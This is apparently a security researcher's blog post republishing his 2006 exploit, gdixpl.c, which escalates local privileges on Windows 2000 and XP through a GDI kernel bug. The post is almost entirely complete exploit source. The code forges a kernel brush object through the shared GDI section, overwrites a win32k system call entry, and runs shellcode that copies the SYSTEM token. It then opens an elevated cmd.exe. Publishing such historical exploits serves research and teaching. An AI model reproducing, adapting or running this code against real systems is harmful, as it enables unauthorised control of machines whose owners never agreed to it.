Joel Eriksson
CEO/Founder of ClevCode. Vulnerability researcher, exploit developer and reverse-engineer. Previous CTO and co-founder of Bitsec, which was acquired by Nixu, and Cycura which was acquired by WELL Technologies. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

Oldies but goldies #2: Windows GDI Kernel Exploit

Found another one of my old exploits. This one a Windows kernel exploit from 2006. :)

This also happens to be one of the exploits I demonstrated (but did not release) at BlackHat and DefCon in 2007, in our Kernel Wars talk. It was actually still unpatched when demonstrating it at BlackHat Europe, even though Microsoft had known about it (but did not think it was exploitable) since 2004. More information about that, and a couple of screenshots, can be found at kernelwars.blogspot.com.

In the demonstration I combined it with an exploit for another 0day we had in Office XP / Microsoft Word, to show the real impact of a privilege escalation exploit such as this one. Nowadays, kernel exploits are probably the most convenient way to break out of browser sandboxes such as the one used in Google Chrome, and of course to enable execution of unsigned code in iOS-based devices such as the iPhone and the iPad. Another nice thing about kernel vulnerabilities is that there are usually far fewer exploit mitigation mechanisms in the kernel than in userspace. ;)

gdixpl.c:

/*
 * Microsoft Windows kernel GDI local privilege escalation exploit.
 *
 * More info about the bug can be found at the following URL:
 * http://kernelfun.blogspot.com/2006/11/mokb-06-11-2006-microsoft-windows.html
 *
 * Compile in Cygwin with:
 * gcc -o gdixpl gdixpl.c -lntdll -lgdi32 -mno-cygwin
 *
 * Copyright (C) Joel Eriksson  2006
 */

#include 
#include 
#include 
#include 

typedef ULONG NTSTATUS;
#define NT_SUCCESS(x) ((x)>=0)

typedef struct __attribute__((packed)) {
    DWORD pKernelInfo;
    WORD wProcess;
    WORD wCount;
    WORD wUpper;
    WORD wType;
    DWORD pUserInfo;
} GDITableEntry;
/* sizeof(GDITableEntry) == 16 */

#define MAX_GDI_HANDLE                  ((HANDLE) 0x10000)
#define BRUSH_TYPE                      16
#define MAKE_DC(Upper, Index)           ((((DWORD) Upper) << 16) | Index)

#define W2K_PID_SYSTEM                  8
#define W2K_OFF_PID                     0x9c
#define W2K_OFF_FLINK                   0xa0
#define W2K_OFF_TOKEN                   0x12c
#define W2K_SYS_NtGdiDeleteObjectApp    0x1075
#define W2K_SYS_NtUserCloseDesktop      0x1142
#define W2K_MAX_GDI_TABLE_ENTRIES       0x4000

#define WXP_PID_SYSTEM                  4
#define WXP_OFF_PID                     0x84
#define WXP_OFF_FLINK                   0x88
#define WXP_OFF_TOKEN                   0xc8
#define WXP_SYS_NtGdiDeleteObjectApp    0x107a
#define WXP_SYS_NtUserCloseDesktop      0x114c
#define WXP_MAX_GDI_TABLE_ENTRIES       0x10000

static DWORD GetW32pServiceTableAddr(DWORD dwOff, DWORD *pdwOrigSysCall);

typedef struct _SECTION_BASIC_INFORMATION {
    ULONG d000;
    ULONG SectionAttributes;
    LARGE_INTEGER SectionSize;
} SECTION_BASIC_INFORMATION;

NTSTATUS
WINAPI
NtQuerySystemInformation(
    DWORD SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

NTSTATUS
WINAPI
NtQuerySection(
    HANDLE SectionHandle,
    DWORD SectionInformationClass,
    PVOID SectionInformation,
    ULONG SectionInformationLength,
    PULONG ResultLength
);

NTSTATUS
NTAPI
NtAllocateVirtualMemory(
    IN HANDLE   ProcessHandle,
    IN OUT PVOID    *BaseAddress,
    IN ULONG    ZeroBits,
    IN OUT PULONG   RegionSize,
    IN ULONG    AllocationType,
    IN ULONG    Protect
);

static DWORD
DoSysCall(DWORD dwSysCall, DWORD dwArg)
{
    __asm__(
        "push %1\n\t"
        "mov  %%esp,%%edx\n\t"
        "mov  %0,%%eax\n\t"
        "int  $0x2e\n\t"
        "add  $4,%%esp"
        :
        : "m"(dwSysCall), "m"(dwArg)
        : "eax", "edx"
    );
}

static BOOL
GetOS(PDWORD pdwMajor, PDWORD pdwMinor)
{
    OSVERSIONINFO os;

    memset(&os, '\0', sizeof(os));

    os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    if (! GetVersionEx((OSVERSIONINFO *) &os))
        return FALSE;

    *pdwMajor = os.dwMajorVersion;
    *pdwMinor = os.dwMinorVersion;

    return TRUE;
}

int
main(int argc, char **argv)
{
    /*
     * Code to copy the access token from the
     * System-process to the exploit process.
     */
    char code_payload[] =
        "\x64"                  /* mov eax,                     */
        "\xa1\x24\x01\x00\x00"  /* [fs:OFF_ETHREAD]             */
        "\x8b\x40\x44"          /* mov eax, [eax+OFF_EPROCESS]  */
        "\x89\xc1"              /* mov ecx, eax                 */
        "\x8b\x80" "XXXX"       /* mov eax, [eax+OFF_FLINK]     */
        "\x2d" "XXXX"           /* sub eax, OFF_FLINK           */
        "\x81\xb8"              /* cmp                          */
        "XXXX"                  /* dword [eax+OFF_PID],         */
        "XXXX"                  /* SYSTEM_PID                   */
        "\x75\xe9"              /* jnz FindSystemProcess        */
        "\x8b\x90" "XXXX"       /* mov edx, [eax+OFF_TOKEN]     */
        "\x8b\x81" "XXXX"       /* mov eax, [ecx+OFF_TOKEN]     */
        "\x89\x91" "XXXX"       /* mov [ecx+OFF_TOKEN], edx     */
        "\xc3"                  /* ret                          */
    ;

    /*
     * Code to restore the original process token and the
     * original value of the overwritten system call.
     */
    char code_restore[] =
        "\x64"                  /* mov eax,                     */
        "\xa1\x24\x01\x00\x00"  /* [fs:OFF_ETHREAD]             */
        "\x8b\x40\x44"          /* mov eax, [eax+OFF_EPROCESS]  */
        "\x8b\x4c\x24\x04"      /* mov ecx, [esp+4]             */
        "\x8b\x11"              /* mov edx, [ecx]               */
        "\x89\x90" "XXXX"       /* mov [eax+OFF_TOKEN], edx     */
        "\x8b\x41\x04"          /* mov eax, [ecx+4]             */
        "\x8b\x51\x08"          /* mov edx, [ecx+8]             */
        "\x89\x10"              /* mov [eax], edx               */
        "\xc3"                  /* ret                          */
    ;

    DWORD SYS_NtGdiDeleteObjectApp, SYS_NtUserCloseDesktop;
    DWORD FakeObj[64], dwW32pServiceTable, dwSysCallAddr;
    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
    DWORD dwMaxGdiTableEntries, dwMinGdiTableSize;
    DWORD dwMajor, dwMinor, dwOrigKernelInfo;
    DWORD pid, i, dwOldToken, dwDC, dwAddr;
    DWORD dwOrigSysCall, pdwArgs[4];
    SECTION_BASIC_INFORMATION sec;
    CHAR szUserName[1024];
    LPVOID lpAddr = NULL;
    GDITableEntry *pGDI;
    WORD wIdx, wUpr;
    ULONG ulSize;
    HANDLE hMap;
    NTSTATUS rc;
    HANDLE hBR;
    CHAR *mem;

    if (! GetOS(&dwMajor, &dwMinor)) {
        fprintf(stderr, "Could not determine OS version.\n");
        return 1;
    }

    if (dwMajor != 5 || dwMinor > 1) {
        fprintf(stderr, "This exploit is only for W2K and WXP.\n");
        return 2;
    }

    if (dwMinor == 0) {
        SYS_NtGdiDeleteObjectApp = W2K_SYS_NtGdiDeleteObjectApp;
        SYS_NtUserCloseDesktop = W2K_SYS_NtUserCloseDesktop;
        dwMaxGdiTableEntries = W2K_MAX_GDI_TABLE_ENTRIES;

        *((PDWORD) &code_payload[13]) = W2K_OFF_FLINK;
        *((PDWORD) &code_payload[18]) = W2K_OFF_FLINK;
        *((PDWORD) &code_payload[24]) = W2K_OFF_PID;
        *((PDWORD) &code_payload[28]) = W2K_PID_SYSTEM;
        *((PDWORD) &code_payload[36]) = W2K_OFF_TOKEN;
        *((PDWORD) &code_payload[42]) = W2K_OFF_TOKEN;
        *((PDWORD) &code_payload[48]) = W2K_OFF_TOKEN;

        *((PDWORD) &code_restore[17]) = W2K_OFF_TOKEN;
    } else {
        SYS_NtGdiDeleteObjectApp = WXP_SYS_NtGdiDeleteObjectApp;
        SYS_NtUserCloseDesktop = WXP_SYS_NtUserCloseDesktop;
        dwMaxGdiTableEntries = WXP_MAX_GDI_TABLE_ENTRIES;

        *((PDWORD) &code_payload[13]) = WXP_OFF_FLINK;
        *((PDWORD) &code_payload[18]) = WXP_OFF_FLINK;
        *((PDWORD) &code_payload[24]) = WXP_OFF_PID;
        *((PDWORD) &code_payload[28]) = WXP_PID_SYSTEM;
        *((PDWORD) &code_payload[36]) = WXP_OFF_TOKEN;
        *((PDWORD) &code_payload[42]) = WXP_OFF_TOKEN;
        *((PDWORD) &code_payload[48]) = WXP_OFF_TOKEN;

        *((PDWORD) &code_restore[17]) = WXP_OFF_TOKEN;
    }
    dwMinGdiTableSize = dwMaxGdiTableEntries * sizeof(GDITableEntry);

    /*
     * Determine address to write to.
     */

    fprintf(stderr, "[*] Determining addresses.\n");

    dwW32pServiceTable =
        GetW32pServiceTableAddr(
            SYS_NtUserCloseDesktop,
            &dwOrigSysCall
        );

    if (dwW32pServiceTable == 0) {
        fprintf(
            stderr,
            "Could not determine W32pServiceTable address.\n"
        );
        return 3;
    }

    dwSysCallAddr =
        dwW32pServiceTable + (SYS_NtUserCloseDesktop - 0x1000) * 4;

    fprintf(
        stderr,
        "[*] W32pServiceTable    : 0x%X\n",
        (UINT) dwW32pServiceTable
    );
    fprintf(
        stderr,
        "[*] &NtUserCloseDesktop : 0x%X\n",
        (UINT) dwSysCallAddr
    );

    fprintf(
        stderr,
        "[*] *0x%08X         : 0x%X\n",
        (UINT) dwSysCallAddr,
        (UINT) dwOrigSysCall
    );

    /*
     * Place shellcode @ 0x00000002
     */

    fprintf(stderr, "[*] Allocating space for shellcode.\n");

    pid = GetCurrentProcessId();

    dwAddr = 1;
    ulSize = 0x1000;
    rc = NtAllocateVirtualMemory(
        (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    if (! NT_SUCCESS(rc)) {
        fprintf(
            stderr, "NtAllocateVirtualMemory() failed. (%d)\n",
            (int) GetLastError()
        );
    }

    mem = (CHAR *) 0;

    memcpy(&mem[2], code_payload, sizeof(code_payload)-1);

    fprintf(stderr, "[*] Shellcode written to 0x%08X\n", (int) &mem[2]);

    /*
     * Must create a GDI object before being able to map the GDI section.
     */

    hBR  = CreateSolidBrush(0);
    wIdx = (WORD) (((DWORD) hBR) & 0xffff);
    wUpr = (WORD) (((DWORD) hBR) >> 16);

    /*
     * Bruteforce the GDI section handle.
     */

    fprintf(stderr, "[*] Bruteforcing the GDI section handle.\n");

    for (hMap = (HANDLE) 0; hMap < MAX_GDI_HANDLE; hMap++) {
        if (lpAddr != NULL)
            CloseHandle(hMap);

        lpAddr = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);

        if (lpAddr == NULL)
            continue;

        rc = NtQuerySection(hMap, 0, &sec, sizeof(sec), 0);

        if (! NT_SUCCESS(rc)) {
            fprintf(stderr, "NtQuerySection() failed.\n");
            continue;
        }

        if (sec.SectionSize.QuadPart < dwMinGdiTableSize)
            continue;

        pGDI = (GDITableEntry *) lpAddr;

        /*
         * Determine if it's the real GDI section by checking if the
         * DC handle to the window we created exists and have the
         * correct values.
         */

        if (pGDI[wIdx].wProcess == pid
        &&  pGDI[wIdx].wUpper   == wUpr
        &&  pGDI[wIdx].wType    == BRUSH_TYPE)
            break;
    }

    if (hMap == MAX_GDI_HANDLE) {
        fprintf(stderr, "GDI section not found!\n");
        VirtualFree(mem, 0x1000, MEM_DECOMMIT);
        return 5;
    }

    fprintf(
        stderr,
        "[*] Writable GDI section mapped @ 0x%X\n",
        (UINT) lpAddr
    );

    /*
     * Make the fake kernelspace brush object.
     */

    memset(FakeObj, '\0', sizeof(FakeObj));
    FakeObj[1] = 0xbadc0ded;
    FakeObj[2] = 1;
    i = wIdx;

    /*
     * Use our brush-object to achieve an overwrite of the address
     * specified in FakeObj[9] with the value 2.
     */

    FakeObj[0] = dwDC = MAKE_DC(pGDI[i].wUpper, i);

    /*
     * Save the original pKernelInfo pointer.
     */

    dwOrigKernelInfo = pGDI[i].pKernelInfo;
    pGDI[i].pKernelInfo = (DWORD) FakeObj;

    /*
     * Temporarily change the pKernelInfo pointer and trigger calls
     * to bDeleteBrush() by calling NtGdiDeleteObjectApp(), which
     * will write 0x00000002 to the address specified in FakeObj[9].
     */

    fprintf(
        stderr,
        "[*] Triggering write with 0x00000002 to 0x%08X\n",
        (UINT) dwSysCallAddr
    );

    FakeObj[9] = dwSysCallAddr;
    DoSysCall(SYS_NtGdiDeleteObjectApp, dwDC);

    /*
     * Restore the original pKernelInfo pointer.
     */

    pGDI[i].pKernelInfo = dwOrigKernelInfo;

    fprintf(stderr, "[*] NtUserCloseDesktop() hooked!\n");

    printf("[*] Calling NtUserCloseDesktop() to execute our shellcode.\n");

    dwOldToken = DoSysCall(SYS_NtUserCloseDesktop, 0);

    printf("[*] Return value = 0x%X\n", (int) dwOldToken);

    fprintf(stderr, "[*] Executing cmd.exe.\n");

    ShellExecute(NULL, "open", "cmd", NULL, ".", SW_SHOWNORMAL);

    memcpy(&mem[2], code_restore, sizeof(code_restore)-1);

    fprintf(stderr, "[*] Restore code written to 0x%08x.\n", (int) &mem[2]);

    pdwArgs[0] = dwOldToken;
    pdwArgs[1] = dwSysCallAddr;
    pdwArgs[2] = dwOrigSysCall;

    fprintf(stderr, "[*] Restoring token and syscalls.\n");

    DoSysCall(SYS_NtUserCloseDesktop, (DWORD) pdwArgs);

    CloseHandle(hMap);

    VirtualFree(mem, 0x1000, MEM_DECOMMIT);

    return 0;
}

static DWORD
GetW32pServiceTableAddr(DWORD dwSysCall, DWORD *pdwOrigSysCall)
{
    DWORD dwTextMin, dwTextMax, dwFileSize, dwSize, dwAddr, dwIAT;
    DWORD dwDataMin, dwDataMax, dwDataSize;
    DWORD dwInitMin, dwInitMax, dwInitSize;
    TCHAR lpDir[256], lpFileName[256];
    DWORD dwW32pServiceTableAddr;
    PIMAGE_IMPORT_DESCRIPTOR pid;
    PIMAGE_OPTIONAL_HEADER poh;
    PIMAGE_SECTION_HEADER psh;
    PIMAGE_FILE_HEADER pfh;
    PDWORD pdwSysCallTable;
    PIMAGE_THUNK_DATA ptd;
    PIMAGE_DOS_HEADER pdh;
    PIMAGE_NT_HEADERS pnh;
    PBYTE pInit, pData;
    HANDLE hFile, hMap;
    DWORD rc, i, j;
    PBYTE p, pMap;

    rc = GetEnvironmentVariable("SystemRoot", lpDir, sizeof(lpDir));

    if (rc == 0) {
        fprintf(
            stderr, "GetEnvironmentVariable() failed. (%d)\n",
            (int) GetLastError()
        );
        return 0;
    }

    memset(lpFileName, '\0', sizeof(lpFileName));
    snprintf(
        lpFileName, sizeof(lpFileName),
        "%s\\SYSTEM32\\WIN32K.SYS", lpDir
    );

    hFile =
        CreateFile(
            lpFileName, GENERIC_READ,
            FILE_SHARE_READ, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL
        );

    if (hFile == INVALID_HANDLE_VALUE) {
        fprintf(
            stderr, "CreateFile() failed. (%d)\n",
            (int) GetLastError()
        );
        return 0;
    }

    dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == INVALID_FILE_SIZE) {
        fprintf(
            stderr, "GetFileSize() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hFile);
        return 0;
    }

    hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    if (hMap == NULL) {
        fprintf(
            stderr, "CreateFileMapping() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hFile);
        return 0;
    }

    pMap = (LPVOID) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    if (pMap == NULL) {
        fprintf(
            stderr, "MapViewOfFile() failed. (%d)\n",
            (int) GetLastError()
        );
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pdh = (PIMAGE_DOS_HEADER) pMap;

    if (pdh->e_magic != IMAGE_DOS_SIGNATURE) {
        fprintf(stderr, "Invalid DOS signature in PE-file.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pnh = (PIMAGE_NT_HEADERS) &pMap[pdh->e_lfanew];

    if (pnh->Signature != IMAGE_NT_SIGNATURE) {
        fprintf(stderr, "Invalid NT signature in PE-file.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pfh = (PIMAGE_FILE_HEADER)
        &pMap[pdh->e_lfanew + sizeof(IMAGE_NT_SIGNATURE)];

    poh = (PIMAGE_OPTIONAL_HEADER)
        ((PBYTE) pfh + sizeof(IMAGE_FILE_HEADER));

    dwAddr =
        poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
        .VirtualAddress;

    pid = (PIMAGE_IMPORT_DESCRIPTOR) &pMap[dwAddr];

    dwSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
    for (i = 0; i < dwSize / sizeof(pid[0]); i++) {
        if (pid[i].Name != 0) {
            ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];
            for (j = 0; ptd[j].u1.AddressOfData; j++) {
                DWORD x = ptd[j].u1.AddressOfData + 2;
                if (! strcmp(
                    &pMap[x],
                    "KeAddSystemServiceTable"
                ))
                    break;
            }
            if (ptd[j].u1.AddressOfData != 0)
                break;
        }
    }

    if (i == dwSize / sizeof(pid[0])) {
        fprintf(stderr, "Could not find IAT-entry.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    dwIAT = poh->ImageBase;
    dwIAT += pid[i].FirstThunk;
    dwIAT += j * sizeof(ptd[0]);

    psh = (PIMAGE_SECTION_HEADER)
        ((PBYTE) poh + sizeof(IMAGE_OPTIONAL_HEADER));

    for (i = j = 0; i < pfh->NumberOfSections && j < 3; i++) {
        if (! strcmp(psh[i].Name, ".text")) {
            dwTextMin = poh->ImageBase + psh[i].VirtualAddress;
            dwTextMax = dwTextMin + psh[i].SizeOfRawData;
            j++;
        }
        if (! strcmp(psh[i].Name, "INIT")) {
            dwInitMin = poh->ImageBase + psh[i].VirtualAddress;
            dwInitMax = dwInitMin + psh[i].SizeOfRawData;
            pInit = &pMap[psh[i].PointerToRawData];
            dwInitSize = psh[i].SizeOfRawData;
            j++;
        }
        if (! strcmp(psh[i].Name, ".data")) {
            dwDataMin = poh->ImageBase + psh[i].VirtualAddress;
            dwDataMax = dwDataMin + psh[i].SizeOfRawData;
            pData = &pMap[psh[i].PointerToRawData];
            dwDataSize = psh[i].SizeOfRawData;
            j++;
        }
    }

    if (j != 3) {
        fprintf(stderr, "Could not locate .data and .text.\n");
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    /* Find the call to KeAddSystemServiceTable */
    for (p = pInit; p < &pInit[dwInitSize-6]; p++)
        if (p[0] == 0xFF && p[1] == 0x15) {
            DWORD x = *((PDWORD) &p[2]);
            if (x == dwIAT)
                break;
        }

    if (p == &pInit[dwInitSize-6]) {
        fprintf(
            stderr,
            "Could not find call to KeAddSystemServiceTable.\n"
        );
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    /* Find the push of W32pServiceTable */
    dwW32pServiceTableAddr = 0;
    p -= 5;
    while (p > pInit) {
        if (p[0] == 0x68) {
            DWORD x = *((PDWORD) &p[1]);
            if (x >= dwDataMin && x <= dwDataMax) {
                dwW32pServiceTableAddr = x;
                break;
            }
        }
    }

    if (dwW32pServiceTableAddr == 0) {
        fprintf(
            stderr,
            "Could not find push of W32pServiceTableAddr.\n"
        );
        UnmapViewOfFile(pMap);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
    }

    pdwSysCallTable =
        (PDWORD) &pMap[dwW32pServiceTableAddr - poh->ImageBase];

    *pdwOrigSysCall = pdwSysCallTable[dwSysCall-0x1000];

    UnmapViewOfFile(pMap);
    CloseHandle(hMap);
    CloseHandle(hFile);

    return dwW32pServiceTableAddr;
}